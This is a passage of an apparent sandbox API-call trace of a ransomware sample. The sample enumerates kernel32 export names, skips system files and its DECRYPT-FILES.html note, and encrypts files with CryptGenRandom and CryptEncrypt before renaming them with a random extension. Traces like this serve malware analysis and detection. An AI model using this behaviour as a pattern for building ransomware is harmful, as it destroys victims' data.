[0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0147.862] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0147.862] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0147.862] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0147.862] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0147.862] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0147.862] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0147.862] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0147.862] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0147.862] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0147.862] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0147.862] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0147.862] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0147.862] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0147.862] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0147.862] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0147.862] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0147.862] lstrlenA (lpString="COPYCONTEXT") returned 11 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0147.862] lstrlenA (lpString="COPYFILE2") returned 9 [0147.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0147.862] lstrlenA (lpString="COPYFILEA") returned 9 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0147.863] lstrlenA (lpString="COPYFILEEXA") returned 11 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0147.863] lstrlenA (lpString="COPYFILEEXW") returned 11 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0147.863] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0147.863] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0147.863] lstrlenA (lpString="COPYFILEW") returned 9 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0147.863] lstrlenA (lpString="COPYLZFILE") returned 10 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0147.863] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0147.863] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0147.863] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0147.863] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0147.863] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0147.863] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0147.863] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0147.863] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0147.863] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0147.863] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0147.863] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0147.863] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0147.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0147.864] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0147.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0147.864] lstrlenA (lpString="CREATEEVENTA") returned 12 [0147.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0147.864] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0147.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0147.864] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0147.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0147.864] lstrlenA (lpString="CREATEEVENTW") returned 12 [0147.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0147.864] lstrlenA (lpString="CREATEFIBER") returned 11 [0147.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0147.864] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0147.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0147.864] lstrlenA (lpString="CREATEFILE2") returned 11 [0147.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0147.864] lstrlenA (lpString="CREATEFILEA") returned 11 [0147.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0147.864] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0147.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0147.864] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0147.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0147.864] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0147.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0147.864] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0147.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0147.864] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0147.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0147.864] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0147.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0147.864] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0147.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0147.864] lstrlenA (lpString="CREATEFILEW") returned 11 [0147.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0147.864] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0147.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0147.864] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0147.865] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0147.865] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0147.865] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0147.865] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0147.865] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0147.865] lstrlenA (lpString="CREATEJOBSET") returned 12 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0147.865] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0147.865] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0147.865] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0147.865] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0147.865] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0147.865] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0147.865] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0147.865] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0147.865] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0147.865] lstrlenA (lpString="CREATEPIPE") returned 10 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0147.865] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0147.865] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0147.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0147.866] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0147.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0147.866] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0147.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0147.866] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0147.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0147.866] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0147.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0147.866] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0147.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0147.866] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0147.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0147.866] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0147.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0147.866] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0147.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0147.866] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0147.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0147.866] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0147.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0147.866] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0147.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0147.866] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0147.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0147.866] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0147.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0147.866] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0147.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0147.866] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0147.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0147.866] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0147.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0147.866] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0147.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0147.866] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0147.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0147.866] lstrlenA (lpString="CREATETHREAD") returned 12 [0147.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0147.867] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0147.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0147.867] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0147.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0147.867] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0147.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0147.867] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0147.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0147.867] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0147.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0147.867] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0147.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0147.867] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0147.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0147.867] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.lZ7eXZ") returned 49 [0147.867] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.lZ7eXZ" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.lz7exz"), dwFlags=0x0) returned 1 [0147.868] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.868] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.869] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.869] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0147.869] lstrcmpiW (lpString1="Rotate6.ico", lpString2="DECRYPT-FILES.html") returned 1 [0147.869] lstrcmpiW (lpString1="Rotate6.ico", lpString2="autorun.inf") returned 1 [0147.869] lstrcmpiW (lpString1="Rotate6.ico", lpString2="boot.ini") returned 1 [0147.869] lstrcmpiW (lpString1="Rotate6.ico", lpString2="desktop.ini") returned 1 [0147.869] lstrcmpiW (lpString1="Rotate6.ico", lpString2="ntuser.dat") returned 1 [0147.869] lstrcmpiW (lpString1="Rotate6.ico", lpString2="iconcache.db") returned 1 [0147.869] lstrcmpiW (lpString1="Rotate6.ico", lpString2="bootsect.bak") returned 1 [0147.869] lstrcmpiW (lpString1="Rotate6.ico", lpString2="ntuser.dat.log") returned 1 [0147.869] lstrcmpiW (lpString1="Rotate6.ico", lpString2="thumbs.db") returned -1 [0147.869] lstrcmpiW (lpString1="Rotate6.ico", lpString2="Bootfont.bin") returned 1 [0147.869] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0147.869] lstrlenW (lpString="Rotate6.ico") returned 11 [0147.869] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Graphics\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0147.869] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Rotate6.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" [0147.869] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0147.869] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0147.870] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=894) returned 1 [0147.870] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0147.870] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0148.242] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0148.242] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0148.242] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0148.243] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0148.243] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0148.244] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.244] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0148.244] CloseHandle (hObject=0x5f8) returned 1 [0148.244] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.244] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0148.245] CloseHandle (hObject=0x0) returned 0 [0148.245] CloseHandle (hObject=0x5f4) returned 1 [0148.246] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.246] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.246] GetTickCount () returned 0x3a53a [0148.246] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0148.247] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0148.247] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0148.247] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0148.247] lstrlenA (lpString="kernel32.dll") returned 12 [0148.248] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0148.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: 